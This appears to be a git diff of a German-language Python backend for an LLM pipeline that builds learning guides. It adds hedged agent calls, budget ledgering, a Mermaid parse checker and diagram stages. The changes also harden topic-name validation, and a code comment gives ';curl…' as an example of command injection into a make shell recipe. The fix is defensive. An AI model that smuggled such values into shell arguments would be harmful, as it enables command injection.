geprueft = sorted(set(db.uj(frisch["geprueft"])) | {q["id"]})
|
geprueft = sorted(set(db.uj(frisch["geprueft"])) | {q["id"]})
|
||||||
db.update("soll", "id", p["id"], geprueft=db.j(geprueft))
|
db.update("soll", "id", p["id"], geprueft=db.j(geprueft))
|
||||||
|
|
||||||
@@ -414,10 +463,33 @@ async def reparieren(ctx: llm.Kontext, befunde: list[dict]) -> bool:
|
|||||||
(ctx.topic,))
|
(ctx.topic,))
|
||||||
bewegt = bewegt or len(noch) < len(offene)
|
bewegt = bewegt or len(noch) < len(offene)
|
||||||
if any(b["art"] in ("korpus_leer", "soll_leer") for b in befunde):
|
if any(b["art"] in ("korpus_leer", "soll_leer") for b in befunde):
|
||||||
topic = db.one("SELECT art FROM topics WHERE name=?", (ctx.topic,))
|
art = db.one("SELECT art FROM topics WHERE name=?", (ctx.topic,))["art"]
|
||||||
if topic["art"] == "thema":
|
if art == "thema":
|
||||||
await _recherche_runde(ctx, runde=99)
|
await _recherche_runde(ctx, runde=99)
|
||||||
await _soll_extrahieren(ctx)
|
await _soll_extrahieren(ctx)
|
||||||
await _konsens(ctx)
|
await _konsens(ctx)
|
||||||
bewegt = True
|
bewegt = True
|
||||||
|
else: # uni: keine Recherche möglich — vorhandene Quellen neu falten,
|
||||||
|
# ohne Kandidaten sogar frisch extrahieren; ehrliches bewegt
|
||||||
|
vorher = db.one("SELECT COUNT(*) AS n FROM soll WHERE topic=?"
|
||||||
|
" AND status='bestaetigt'", (ctx.topic,))["n"]
|
||||||
|
if not db.query("SELECT id FROM soll WHERE topic=? AND"
|
||||||
|
" status IN ('kandidat','gefaltet')", (ctx.topic,)):
|
||||||
|
db.execute("UPDATE quellen SET status='neu' WHERE topic=?", (ctx.topic,))
|
||||||
|
await _soll_extrahieren(ctx)
|
||||||
|
await _konsens(ctx)
|
||||||
|
nachher = db.one("SELECT COUNT(*) AS n FROM soll WHERE topic=?"
|
||||||
|
" AND status='bestaetigt'", (ctx.topic,))["n"]
|
||||||
|
bewegt = bewegt or nachher > vorher
|
||||||
return bewegt
|
return bewegt
|
||||||
|
|
||||||
|
|
||||||
|
def gate(ctx: llm.Kontext) -> str | None:
|
||||||
|
"""Fail-closed-Gate vor dem Ebenen-Marker: ohne Quellen oder ohne bestätigten
|
||||||
|
Soll-Punkt darf E1 nicht starten (leeres Soll verwirft in E1 jedes Atom)."""
|
||||||
|
if not db.one("SELECT id FROM quellen WHERE topic=? LIMIT 1", (ctx.topic,)):
|
||||||
|
return "keine Quellen"
|
||||||
|
if not db.one("SELECT id FROM soll WHERE topic=? AND status='bestaetigt' LIMIT 1",
|
||||||
|
(ctx.topic,)):
|
||||||
|
return "kein bestätigter Soll-Punkt"
|
||||||
|
return None
|
||||||
|
|||||||
@@ -55,7 +55,8 @@ def kennzahlen(run_id: int) -> list[dict]:
|
|||||||
"SELECT ebene, stage, template, COUNT(*) AS calls,"
|
"SELECT ebene, stage, template, COUNT(*) AS calls,"
|
||||||
" SUM(tok_in) AS tok_in, SUM(tok_out) AS tok_out,"
|
" SUM(tok_in) AS tok_in, SUM(tok_out) AS tok_out,"
|
||||||
" SUM(tok_cache_read) AS cache_read, SUM(dur_ms) AS dur_ms, SUM(wait_ms) AS wait_ms,"
|
" SUM(tok_cache_read) AS cache_read, SUM(dur_ms) AS dur_ms, SUM(wait_ms) AS wait_ms,"
|
||||||
" SUM(status='ok') AS ok, SUM(status='timeout') AS timeouts,"
|
" SUM(status='ok') AS ok,"
|
||||||
" SUM(status IN ('error','infra')) AS fehler"
|
" SUM(status='infra' AND meta LIKE '%timeout%') AS timeouts,"
|
||||||
|
" SUM(status IN ('error','infra','parse')) AS fehler"
|
||||||
" FROM events WHERE run_id=? GROUP BY ebene, stage, template ORDER BY MIN(id)",
|
" FROM events WHERE run_id=? GROUP BY ebene, stage, template ORDER BY MIN(id)",
|
||||||
(run_id,))
|
(run_id,))
|
||||||
|
|||||||
@@ -45,9 +45,11 @@ def _ist_infra(err: str) -> bool:
|
|||||||
|
|
||||||
|
|
||||||
async def _roher_call(key: str, prompt: str, timeout: int, ctx: Kontext,
|
async def _roher_call(key: str, prompt: str, timeout: int, ctx: Kontext,
|
||||||
role: str, caps: str) -> agents.AgentErgebnis:
|
role: str, caps: str, log_hedge=None) -> agents.AgentErgebnis:
|
||||||
"""Ein Agent-Call mit Stall-Hedge: läuft der Slot max(HEDGE_NACH_S, timeout/2)
|
"""Ein Agent-Call mit Stall-Hedge: läuft der Slot max(HEDGE_NACH_S, timeout/2)
|
||||||
ohne Ergebnis, startet genau EIN Zwilling; das erste valide Ergebnis gewinnt."""
|
ohne Ergebnis, startet genau EIN Zwilling; das erste valide Ergebnis gewinnt.
|
||||||
|
Der zweite (Verlierer-)Call wird über `log_hedge(res|None)` als eigene
|
||||||
|
Ledger-Zeile verbucht — sonst fehlen seine Tokens in Budget und Kennzahlen."""
|
||||||
schwelle = max(HEDGE_NACH_S, timeout / 2) if HEDGE_NACH_S > 0 else 0
|
schwelle = max(HEDGE_NACH_S, timeout / 2) if HEDGE_NACH_S > 0 else 0
|
||||||
|
|
||||||
async def einer(k: str):
|
async def einer(k: str):
|
||||||
@@ -59,18 +61,42 @@ async def _roher_call(key: str, prompt: str, timeout: int, ctx: Kontext,
|
|||||||
return await haupt
|
return await haupt
|
||||||
fertig, _ = await asyncio.wait({haupt}, timeout=schwelle)
|
fertig, _ = await asyncio.wait({haupt}, timeout=schwelle)
|
||||||
if fertig:
|
if fertig:
|
||||||
return haupt.result()
|
return haupt.result() # kein Zwilling gestartet → kein Hedge-Log
|
||||||
zwilling = asyncio.ensure_future(einer(f"{key}-h"))
|
zwilling = asyncio.ensure_future(einer(f"{key}-h"))
|
||||||
|
paar = {haupt, zwilling}
|
||||||
|
gewinner = None
|
||||||
|
sonstige: list[agents.AgentErgebnis] = [] # fertig, aber nicht Gewinner
|
||||||
|
letzter_fehler = None
|
||||||
try:
|
try:
|
||||||
for aufgabe in asyncio.as_completed([haupt, zwilling]):
|
pending = set(paar)
|
||||||
res = await aufgabe
|
while pending and gewinner is None:
|
||||||
if res.ok:
|
done, pending = await asyncio.wait(pending, return_when=asyncio.FIRST_COMPLETED)
|
||||||
return res
|
for t in done:
|
||||||
return res # beide fertig, keins ok → letztes Ergebnis zur Diagnose
|
try:
|
||||||
|
res = t.result()
|
||||||
|
except asyncio.TimeoutError as e:
|
||||||
|
letzter_fehler = e # ein Timeout bricht den Hedge NICHT ab —
|
||||||
|
continue # der Zwilling darf noch liefern
|
||||||
|
if res.ok and gewinner is None:
|
||||||
|
gewinner = res
|
||||||
|
else:
|
||||||
|
sonstige.append(res)
|
||||||
finally:
|
finally:
|
||||||
for t in (haupt, zwilling):
|
for t in paar:
|
||||||
if not t.done():
|
if not t.done():
|
||||||
t.cancel()
|
t.cancel()
|
||||||
|
if log_hedge is not None:
|
||||||
|
if gewinner is not None:
|
||||||
|
# der Verlierer: fertig (Tokens bekannt) oder gecancelt (0 Tokens)
|
||||||
|
log_hedge(sonstige[0] if sonstige else None)
|
||||||
|
elif len(sonstige) >= 2:
|
||||||
|
# kein Gewinner: call() loggt das erste als Hauptzeile, das zweite hier
|
||||||
|
log_hedge(sonstige[1])
|
||||||
|
if gewinner is not None:
|
||||||
|
return gewinner
|
||||||
|
if sonstige:
|
||||||
|
return sonstige[0] # keins ok → erstes Ergebnis zur Diagnose
|
||||||
|
raise letzter_fehler if letzter_fehler else asyncio.TimeoutError()
|
||||||
|
|
||||||
|
|
||||||
async def call(ctx: Kontext, *, stage: str, template: str, werte: dict,
|
async def call(ctx: Kontext, *, stage: str, template: str, werte: dict,
|
||||||
@@ -83,13 +109,23 @@ async def call(ctx: Kontext, *, stage: str, template: str, werte: dict,
|
|||||||
infra_rest = INFRA_MAX_RETRIES
|
infra_rest = INFRA_MAX_RETRIES
|
||||||
inhalt_rest = MAX_RESTARTS
|
inhalt_rest = MAX_RESTARTS
|
||||||
versuch = 0
|
versuch = 0
|
||||||
|
|
||||||
|
def _log_hedge(res) -> None:
|
||||||
|
# Verlierer-/Zweitcall des Hedge als eigene Ledger-Zeile (Budget zählt mit)
|
||||||
|
ledger.log_call(ctx.run_id, ebene=ctx.ebene, stage=stage, item=f"{item}-hedge",
|
||||||
|
template=template, template_hash=thash, role=role,
|
||||||
|
provider=ctx.provider, model=(res.model if res else ""),
|
||||||
|
status="hedge" if res else "hedge_cancel",
|
||||||
|
tokens=(res.tokens if res else None))
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
versuch += 1
|
versuch += 1
|
||||||
|
ledger.budget_pruefen(ctx.run_id) # Vorab: nicht erst NACH dem Call stoppen
|
||||||
key = f"{ctx.topic}-{ctx.ebene}-{stage}-{item or 'x'}-{versuch}"
|
key = f"{ctx.topic}-{ctx.ebene}-{stage}-{item or 'x'}-{versuch}"
|
||||||
start = time.monotonic()
|
start = time.monotonic()
|
||||||
status, tokens, err, wait_ms, model = "error", None, "", 0, ""
|
status, tokens, err, wait_ms, model = "error", None, "", 0, ""
|
||||||
try:
|
try:
|
||||||
res = await _roher_call(key, prompt, timeout, ctx, role, caps)
|
res = await _roher_call(key, prompt, timeout, ctx, role, caps, _log_hedge)
|
||||||
tokens, err = res.tokens, res.err
|
tokens, err = res.tokens, res.err
|
||||||
wait_ms = int(res.wait_s * 1000)
|
wait_ms = int(res.wait_s * 1000)
|
||||||
model = res.model
|
model = res.model
|
||||||
@@ -147,13 +183,23 @@ async def alle(coros) -> list:
|
|||||||
raise
|
raise
|
||||||
|
|
||||||
|
|
||||||
|
def einstimmig(stimmen: list, n: int, urteil) -> bool:
|
||||||
|
"""Destruktiver Entscheid (verwerfen/mergen/freisprechen) nur bei VOLLZÄHLIGEM
|
||||||
|
Panel: mindestens n gültige Stimmen, alle True. `urteil(s)` liefert True/False
|
||||||
|
oder None (Ausfall/Parse/fehlendes Feld = keine Stimme → kein Entscheid).
|
||||||
|
Falsch-Verwerfen >> ein überlebendes Item (Lektion 67). Muster von
|
||||||
|
`chunk_urteil` (inventar) verallgemeinert."""
|
||||||
|
gueltig = [u for u in (urteil(s) for s in stimmen) if u is not None]
|
||||||
|
return len(gueltig) >= n and all(gueltig)
|
||||||
|
|
||||||
|
|
||||||
async def panel(ctx: Kontext, groesse: int, **kw) -> list:
|
async def panel(ctx: Kontext, groesse: int, **kw) -> list:
|
||||||
"""`groesse` unabhängige Calls, alle Ergebnisse (None-gefiltert). Fällt genau eine
|
"""`groesse` unabhängige Calls, alle Ergebnisse (None-gefiltert). Fällt genau eine
|
||||||
Stimme eines 2er-Panels aus, ersetzt EIN Ersatz-Richter (Lektion 20), dann
|
Stimme eines 2er-Panels aus, ersetzt EIN Ersatz-Richter (Lektion 20), dann
|
||||||
entscheidet der Aufrufer über Konsens."""
|
entscheidet der Aufrufer über Konsens."""
|
||||||
item = kw.get("item", "")
|
item = kw.get("item", "")
|
||||||
stimmen = await asyncio.gather(*(call(ctx, **{**kw, "item": f"{item}-p{i + 1}"})
|
stimmen = await alle(call(ctx, **{**kw, "item": f"{item}-p{i + 1}"})
|
||||||
for i in range(groesse)))
|
for i in range(groesse))
|
||||||
gueltig = [s for s in stimmen if s is not None]
|
gueltig = [s for s in stimmen if s is not None]
|
||||||
if len(gueltig) == groesse - 1 and groesse >= 2:
|
if len(gueltig) == groesse - 1 and groesse >= 2:
|
||||||
ersatz = await call(ctx, **{**kw, "item": f"{item}-pE"})
|
ersatz = await call(ctx, **{**kw, "item": f"{item}-pE"})
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ import db
|
|||||||
import guide
|
import guide
|
||||||
import ledger
|
import ledger
|
||||||
import pipeline
|
import pipeline
|
||||||
from config import FRONTEND_DIST, PROJECT_ROOT
|
from config import FRONTEND_DIST, PROJECT_ROOT, topic_name_ok
|
||||||
from ws import hub
|
from ws import hub
|
||||||
|
|
||||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(name)s %(levelname)s %(message)s")
|
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(name)s %(levelname)s %(message)s")
|
||||||
@@ -93,6 +93,10 @@ def topics_liste():
|
|||||||
def topic_anlegen(auftrag: TopicNeu):
|
def topic_anlegen(auftrag: TopicNeu):
|
||||||
if not auftrag.name.strip():
|
if not auftrag.name.strip():
|
||||||
raise HTTPException(400, "Name fehlt")
|
raise HTTPException(400, "Name fehlt")
|
||||||
|
# streng validieren: der Name wird Pfadkomponente (rmtree, Snapshots) und
|
||||||
|
# Shell-Argument (Transfer) — „..", „/" oder „;curl…" wären sonst gefährlich
|
||||||
|
if not topic_name_ok(auftrag.name):
|
||||||
|
raise HTTPException(400, "Name: nur Buchstaben/Ziffern/-/_ (Anfang alphanumerisch)")
|
||||||
if db.one("SELECT name FROM topics WHERE name=?", (auftrag.name,)):
|
if db.one("SELECT name FROM topics WHERE name=?", (auftrag.name,)):
|
||||||
raise HTTPException(409, "Topic existiert")
|
raise HTTPException(409, "Topic existiert")
|
||||||
if auftrag.art not in ("thema", "uni"):
|
if auftrag.art not in ("thema", "uni"):
|
||||||
@@ -149,9 +153,14 @@ def state(topic: str):
|
|||||||
"bausteine": db.query(
|
"bausteine": db.query(
|
||||||
"SELECT b.*, s.stage FROM bausteine b LEFT JOIN sections s ON s.baustein_id=b.id"
|
"SELECT b.*, s.stage FROM bausteine b LEFT JOIN sections s ON s.baustein_id=b.id"
|
||||||
" WHERE b.topic=? ORDER BY b.ord", (topic,)),
|
" WHERE b.topic=? ORDER BY b.ord", (topic,)),
|
||||||
|
"diagramme": db.query(
|
||||||
|
"SELECT d.id, d.baustein_id, d.typ, d.quelle, d.status, b.titel, b.ord"
|
||||||
|
" FROM diagramme d JOIN bausteine b ON b.id=d.baustein_id"
|
||||||
|
" WHERE d.topic=? AND d.status!='kein' ORDER BY b.ord, d.id", (topic,)),
|
||||||
|
# topic-scoped: offene Befunde früherer Läufe bleiben nach Resume sichtbar
|
||||||
"befunde": db.query(
|
"befunde": db.query(
|
||||||
"SELECT * FROM befunde WHERE run_id=? AND status='offen' ORDER BY id",
|
"SELECT b.* FROM befunde b JOIN runs r ON r.id=b.run_id"
|
||||||
(run["id"],)) if run else [],
|
" WHERE r.topic=? AND b.status='offen' ORDER BY b.id", (topic,)),
|
||||||
"agenten": agents.aktive_agenten(),
|
"agenten": agents.aktive_agenten(),
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -177,6 +186,10 @@ async def transfer_ausfuehren(topic: str, richtung: str):
|
|||||||
raise HTTPException(403, "Transfer nur lokal verfügbar")
|
raise HTTPException(403, "Transfer nur lokal verfügbar")
|
||||||
if richtung not in ("push", "pull"):
|
if richtung not in ("push", "pull"):
|
||||||
raise HTTPException(404, "unbekannte Richtung")
|
raise HTTPException(404, "unbekannte Richtung")
|
||||||
|
# Name gegen die Whitelist prüfen UND Existenz sichern — der Name fließt in
|
||||||
|
# ein make-Shell-Rezept; ohne diese Schranke wäre er ein Injektionsvektor.
|
||||||
|
if not topic_name_ok(topic) or not db.one("SELECT name FROM topics WHERE name=?", (topic,)):
|
||||||
|
raise HTTPException(404, "unbekanntes Topic")
|
||||||
res = await asyncio.to_thread(
|
res = await asyncio.to_thread(
|
||||||
subprocess.run, ["make", f"server-{richtung}", f"TOPIC={topic}"],
|
subprocess.run, ["make", f"server-{richtung}", f"TOPIC={topic}"],
|
||||||
cwd=PROJECT_ROOT, capture_output=True, text=True, timeout=600)
|
cwd=PROJECT_ROOT, capture_output=True, text=True, timeout=600)
|
||||||
|
|||||||
37
backend/mermaid_check.mjs
Normal file
37
backend/mermaid_check.mjs
Normal file
@@ -0,0 +1,37 @@
|
|||||||
|
// Mermaid-Parse-Gate: prüft Diagramm-Quelltext mit DEMSELBEN Parser wie das Frontend.
|
||||||
|
// stdin: JSON [{id, code}] → stdout: JSON [{id, fehler}, …] (nur die fehlerhaften).
|
||||||
|
// Zwilling zu katex_check.mjs: was hier parst, rendert auch im Guide.
|
||||||
|
//
|
||||||
|
// Mermaid braucht zum Sanitisieren der Labels ein DOM — headless via jsdom, sonst
|
||||||
|
// wirft parse() für JEDES Diagramm mit Label „DOMPurify.addHook is not a function"
|
||||||
|
// (nicht ein Diagramm-Fehler, sondern ein Umgebungsfehler → alles fälschlich verworfen).
|
||||||
|
import { createRequire } from 'node:module'
|
||||||
|
import { readFileSync } from 'node:fs'
|
||||||
|
|
||||||
|
function laden(name) {
|
||||||
|
try {
|
||||||
|
return createRequire(import.meta.url)(name) // Container: backend/node_modules
|
||||||
|
} catch {
|
||||||
|
const basis = process.env.MERMAID_BASE // Dev: frontend/node_modules
|
||||||
|
return createRequire(basis.endsWith('/') ? basis : basis + '/')(name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const { JSDOM } = laden('jsdom')
|
||||||
|
const dom = new JSDOM('<!DOCTYPE html><body></body>')
|
||||||
|
globalThis.window = dom.window
|
||||||
|
globalThis.document = dom.window.document
|
||||||
|
|
||||||
|
const mermaid = laden('mermaid').default
|
||||||
|
mermaid.initialize({ startOnLoad: false, securityLevel: 'strict' })
|
||||||
|
|
||||||
|
const diagramme = JSON.parse(readFileSync(0, 'utf8'))
|
||||||
|
const fehler = []
|
||||||
|
for (const d of diagramme) {
|
||||||
|
try {
|
||||||
|
await mermaid.parse(d.code) // wirft bei Syntaxfehler
|
||||||
|
} catch (e) {
|
||||||
|
fehler.push({ id: d.id, fehler: String(e.message || e).slice(0, 160) })
|
||||||
|
}
|
||||||
|
}
|
||||||
|
process.stdout.write(JSON.stringify(fehler))
|
||||||
@@ -10,6 +10,7 @@ import agents
|
|||||||
import artefakte
|
import artefakte
|
||||||
import auto_loop
|
import auto_loop
|
||||||
import db
|
import db
|
||||||
|
import diagramme
|
||||||
import guide
|
import guide
|
||||||
import inventar
|
import inventar
|
||||||
import korpus
|
import korpus
|
||||||
@@ -26,10 +27,11 @@ EBENEN = [
|
|||||||
("inventar", inventar, "inventar_fertig"),
|
("inventar", inventar, "inventar_fertig"),
|
||||||
("artefakte", artefakte, "artefakte_fertig"),
|
("artefakte", artefakte, "artefakte_fertig"),
|
||||||
("struktur", struktur, "struktur_fertig"),
|
("struktur", struktur, "struktur_fertig"),
|
||||||
|
("diagramme", diagramme, "diagramme_fertig"),
|
||||||
("guide", guide, "fertig"),
|
("guide", guide, "fertig"),
|
||||||
]
|
]
|
||||||
_ORDNUNG = ["neu", "korpus", "korpus_fertig", "inventar_fertig",
|
_ORDNUNG = ["neu", "korpus", "korpus_fertig", "inventar_fertig",
|
||||||
"artefakte_fertig", "struktur_fertig", "fertig"]
|
"artefakte_fertig", "struktur_fertig", "diagramme_fertig", "fertig"]
|
||||||
_laeufe: dict[str, asyncio.Task] = {}
|
_laeufe: dict[str, asyncio.Task] = {}
|
||||||
|
|
||||||
|
|
||||||
@@ -60,11 +62,12 @@ def lauf_stoppen(topic: str) -> None:
|
|||||||
run = db.one("SELECT id FROM runs WHERE topic=? AND status='running'"
|
run = db.one("SELECT id FROM runs WHERE topic=? AND status='running'"
|
||||||
" ORDER BY id DESC", (topic,))
|
" ORDER BY id DESC", (topic,))
|
||||||
if run:
|
if run:
|
||||||
db.update("runs", "id", run["id"], status="stopped", beendet="jetzt")
|
db.update("runs", "id", run["id"], status="stopped", beendet=db.now())
|
||||||
|
|
||||||
|
|
||||||
_ROLLBACK = {"guide": "struktur_fertig", "struktur": "artefakte_fertig",
|
_ROLLBACK = {"guide": "diagramme_fertig", "diagramme": "struktur_fertig",
|
||||||
"artefakte": "inventar_fertig", "inventar": "korpus_fertig", "korpus": "neu"}
|
"struktur": "artefakte_fertig", "artefakte": "inventar_fertig",
|
||||||
|
"inventar": "korpus_fertig", "korpus": "neu"}
|
||||||
|
|
||||||
|
|
||||||
def ebenen_entfernen(topic: str, ebene: str) -> None:
|
def ebenen_entfernen(topic: str, ebene: str) -> None:
|
||||||
@@ -74,39 +77,48 @@ def ebenen_entfernen(topic: str, ebene: str) -> None:
|
|||||||
if ebene not in _ROLLBACK:
|
if ebene not in _ROLLBACK:
|
||||||
raise ValueError(f"unbekannte Ebene: {ebene}")
|
raise ValueError(f"unbekannte Ebene: {ebene}")
|
||||||
lauf_stoppen(topic)
|
lauf_stoppen(topic)
|
||||||
stufe = ["guide", "struktur", "artefakte", "inventar", "korpus"].index(ebene)
|
stufe = ["guide", "diagramme", "struktur", "artefakte", "inventar", "korpus"].index(ebene)
|
||||||
db.execute("DELETE FROM sections WHERE baustein_id IN"
|
db.execute("DELETE FROM sections WHERE baustein_id IN"
|
||||||
" (SELECT id FROM bausteine WHERE topic=?)", (topic,))
|
" (SELECT id FROM bausteine WHERE topic=?)", (topic,))
|
||||||
db.execute("UPDATE bausteine SET status='neu' WHERE topic=?", (topic,))
|
db.execute("UPDATE bausteine SET status='neu' WHERE topic=?", (topic,))
|
||||||
db.execute("UPDATE kapitel SET intro='' WHERE topic=?", (topic,)) # Intro ist Guide-Text
|
db.execute("UPDATE kapitel SET intro='' WHERE topic=?", (topic,)) # Intro ist Guide-Text
|
||||||
if stufe >= 1: # struktur
|
if stufe >= 1: # diagramme
|
||||||
|
db.execute("DELETE FROM diagramme WHERE topic=?", (topic,))
|
||||||
|
if stufe >= 2: # struktur
|
||||||
db.execute("DELETE FROM bausteine WHERE topic=?", (topic,))
|
db.execute("DELETE FROM bausteine WHERE topic=?", (topic,))
|
||||||
db.execute("DELETE FROM kapitel WHERE topic=?", (topic,))
|
db.execute("DELETE FROM kapitel WHERE topic=?", (topic,))
|
||||||
db.execute("DELETE FROM lernziele WHERE topic=?", (topic,))
|
db.execute("DELETE FROM lernziele WHERE topic=?", (topic,))
|
||||||
db.execute("UPDATE atome SET ziel_id=NULL, baustein_id=NULL, ord=0 WHERE topic=?",
|
db.execute("UPDATE atome SET ziel_id=NULL, baustein_id=NULL, ord=0 WHERE topic=?",
|
||||||
(topic,))
|
(topic,))
|
||||||
if stufe >= 2: # artefakte
|
if stufe >= 3: # artefakte
|
||||||
db.execute("DELETE FROM leitner WHERE artefakt_id IN (SELECT ar.id FROM artefakte ar"
|
db.execute("DELETE FROM leitner WHERE artefakt_id IN (SELECT ar.id FROM artefakte ar"
|
||||||
" JOIN atome a ON ar.atom_id=a.id WHERE a.topic=?)", (topic,))
|
" JOIN atome a ON ar.atom_id=a.id WHERE a.topic=?)", (topic,))
|
||||||
db.execute("DELETE FROM artefakte WHERE atom_id IN"
|
db.execute("DELETE FROM artefakte WHERE atom_id IN"
|
||||||
" (SELECT id FROM atome WHERE topic=?)", (topic,))
|
" (SELECT id FROM atome WHERE topic=?)", (topic,))
|
||||||
if stufe >= 3: # inventar
|
if stufe >= 4: # inventar
|
||||||
db.execute("DELETE FROM anker WHERE atom_id IN (SELECT id FROM atome WHERE topic=?)",
|
db.execute("DELETE FROM anker WHERE atom_id IN (SELECT id FROM atome WHERE topic=?)",
|
||||||
(topic,))
|
(topic,))
|
||||||
db.execute("DELETE FROM kanten WHERE topic=?", (topic,))
|
db.execute("DELETE FROM kanten WHERE topic=?", (topic,))
|
||||||
db.execute("DELETE FROM atome WHERE topic=?", (topic,))
|
db.execute("DELETE FROM atome WHERE topic=?", (topic,))
|
||||||
db.execute("UPDATE quellen SET status='extrahiert' WHERE topic=?", (topic,))
|
# atome_stand mit-nullen — sonst überspringt der Resume-Guard die Neu-Extraktion
|
||||||
if stufe >= 4: # korpus
|
db.execute("UPDATE quellen SET status='extrahiert', atome_stand='' WHERE topic=?",
|
||||||
|
(topic,))
|
||||||
|
if stufe >= 5: # korpus
|
||||||
db.execute("DELETE FROM soll WHERE topic=?", (topic,))
|
db.execute("DELETE FROM soll WHERE topic=?", (topic,))
|
||||||
db.execute("DELETE FROM quellen WHERE topic=?", (topic,))
|
db.execute("DELETE FROM quellen WHERE topic=?", (topic,))
|
||||||
import shutil
|
import shutil
|
||||||
from config import KORPUS_DIR
|
from config import KORPUS_DIR
|
||||||
shutil.rmtree(KORPUS_DIR / topic, ignore_errors=True)
|
# Gürtel-und-Hosenträger vor dem destruktiven rmtree: der Zielpfad MUSS
|
||||||
|
# unter KORPUS_DIR liegen (Alt-DBs könnten Namen ohne heutige Validierung
|
||||||
|
# tragen). Sonst nichts löschen.
|
||||||
|
ziel = (KORPUS_DIR / topic).resolve()
|
||||||
|
if ziel != KORPUS_DIR.resolve() and ziel.is_relative_to(KORPUS_DIR.resolve()):
|
||||||
|
shutil.rmtree(ziel, ignore_errors=True)
|
||||||
# Token-/Dauer-Anzeige der entfernten Ebenen nullen: Events bleiben (Ledger ist
|
# Token-/Dauer-Anzeige der entfernten Ebenen nullen: Events bleiben (Ledger ist
|
||||||
# append-only), aber die Zählung beginnt hinter dem Reset-Marker neu.
|
# append-only), aber die Zählung beginnt hinter dem Reset-Marker neu.
|
||||||
letzte = db.one("SELECT MAX(id) AS m FROM events")["m"] or 0
|
letzte = db.one("SELECT MAX(id) AS m FROM events")["m"] or 0
|
||||||
resets = db.uj(db.one("SELECT resets FROM topics WHERE name=?", (topic,))["resets"], {})
|
resets = db.uj(db.one("SELECT resets FROM topics WHERE name=?", (topic,))["resets"], {})
|
||||||
for name in ["guide", "struktur", "artefakte", "inventar", "korpus"][:stufe + 1]:
|
for name in ["guide", "diagramme", "struktur", "artefakte", "inventar", "korpus"][:stufe + 1]:
|
||||||
resets[name] = letzte
|
resets[name] = letzte
|
||||||
db.update("topics", "name", topic, status=_ROLLBACK[ebene], resets=db.j(resets))
|
db.update("topics", "name", topic, status=_ROLLBACK[ebene], resets=db.j(resets))
|
||||||
|
|
||||||
@@ -134,6 +146,8 @@ def voll_reset(topic: str) -> None:
|
|||||||
(topic,))
|
(topic,))
|
||||||
db.execute("DELETE FROM kanten WHERE topic=?", (topic,))
|
db.execute("DELETE FROM kanten WHERE topic=?", (topic,))
|
||||||
db.execute("DELETE FROM atome WHERE topic=?", (topic,))
|
db.execute("DELETE FROM atome WHERE topic=?", (topic,))
|
||||||
|
# Atome weg → Merker nullen, sonst überspringt der Guard die Neu-Extraktion
|
||||||
|
db.execute("UPDATE quellen SET atome_stand='' WHERE topic=?", (topic,))
|
||||||
db.update("topics", "name", topic, status="neu")
|
db.update("topics", "name", topic, status="neu")
|
||||||
|
|
||||||
|
|
||||||
@@ -174,25 +188,31 @@ async def _lauf(topic: str, run_id: int) -> None:
|
|||||||
|
|
||||||
note, grund = await auto_loop.auto_repair_loop(name, erst_note, reparieren)
|
note, grund = await auto_loop.auto_repair_loop(name, erst_note, reparieren)
|
||||||
log.info("%s/%s: Note %.1f (%s)", topic, name, note, grund)
|
log.info("%s/%s: Note %.1f (%s)", topic, name, note, grund)
|
||||||
|
# Fail-closed-Gate vor dem Ebenen-Marker (nur wo das Modul eins hat):
|
||||||
|
# ein RuntimeError landet im Exception-Handler → Run 'failed', der
|
||||||
|
# Ebenen-Marker wird NICHT gesetzt, die nächste Ebene startet nie.
|
||||||
|
gate = getattr(modul, "gate", None)
|
||||||
|
if gate and (grund_gate := gate(ctx)):
|
||||||
|
raise RuntimeError(f"{name}-Gate: {grund_gate}")
|
||||||
db.update("topics", "name", topic, status=marke)
|
db.update("topics", "name", topic, status=marke)
|
||||||
flags = db.uj(db.one("SELECT auto FROM topics WHERE name=?", (topic,))["auto"], {})
|
flags = db.uj(db.one("SELECT auto FROM topics WHERE name=?", (topic,))["auto"], {})
|
||||||
if not flags.get(name, True) and marke != "fertig":
|
if not flags.get(name, True) and marke != "fertig":
|
||||||
db.update("runs", "id", run_id, status="done", beendet="jetzt",
|
db.update("runs", "id", run_id, status="done", beendet=db.now(),
|
||||||
grund=f"Auto-Stopp nach {name}")
|
grund=f"Auto-Stopp nach {name}")
|
||||||
return
|
return
|
||||||
db.update("runs", "id", run_id, status="done", beendet="jetzt")
|
db.update("runs", "id", run_id, status="done", beendet=db.now())
|
||||||
except llm.LaufPause as e:
|
except llm.LaufPause as e:
|
||||||
agents.abbrechen(f"{topic}-") # Nachzügler-Tasks dürfen keine Tokens mehr ziehen
|
agents.abbrechen(f"{topic}-") # Nachzügler-Tasks dürfen keine Tokens mehr ziehen
|
||||||
db.update("runs", "id", run_id, status="paused", grund=str(e)[:300], beendet="jetzt")
|
db.update("runs", "id", run_id, status="paused", grund=str(e)[:300], beendet=db.now())
|
||||||
log.warning("%s: Lauf pausiert — %s", topic, e)
|
log.warning("%s: Lauf pausiert — %s", topic, e)
|
||||||
except ledger.BudgetErschoepft as e:
|
except ledger.BudgetErschoepft as e:
|
||||||
agents.abbrechen(f"{topic}-")
|
agents.abbrechen(f"{topic}-")
|
||||||
db.update("runs", "id", run_id, status="budget", grund=str(e)[:300], beendet="jetzt")
|
db.update("runs", "id", run_id, status="budget", grund=str(e)[:300], beendet=db.now())
|
||||||
log.warning("%s: Budget erreicht", topic)
|
log.warning("%s: Budget erreicht", topic)
|
||||||
except asyncio.CancelledError:
|
except asyncio.CancelledError:
|
||||||
raise
|
raise
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
agents.abbrechen(f"{topic}-")
|
agents.abbrechen(f"{topic}-")
|
||||||
db.update("runs", "id", run_id, status="failed", grund=f"{type(e).__name__}: {e}"[:300],
|
db.update("runs", "id", run_id, status="failed", grund=f"{type(e).__name__}: {e}"[:300],
|
||||||
beendet="jetzt")
|
beendet=db.now())
|
||||||
log.exception("%s: Lauf fehlgeschlagen", topic)
|
log.exception("%s: Lauf fehlgeschlagen", topic)
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ import logging
|
|||||||
|
|
||||||
import artefakte
|
import artefakte
|
||||||
import db
|
import db
|
||||||
|
import diagramme
|
||||||
import guide
|
import guide
|
||||||
import inventar
|
import inventar
|
||||||
import korpus
|
import korpus
|
||||||
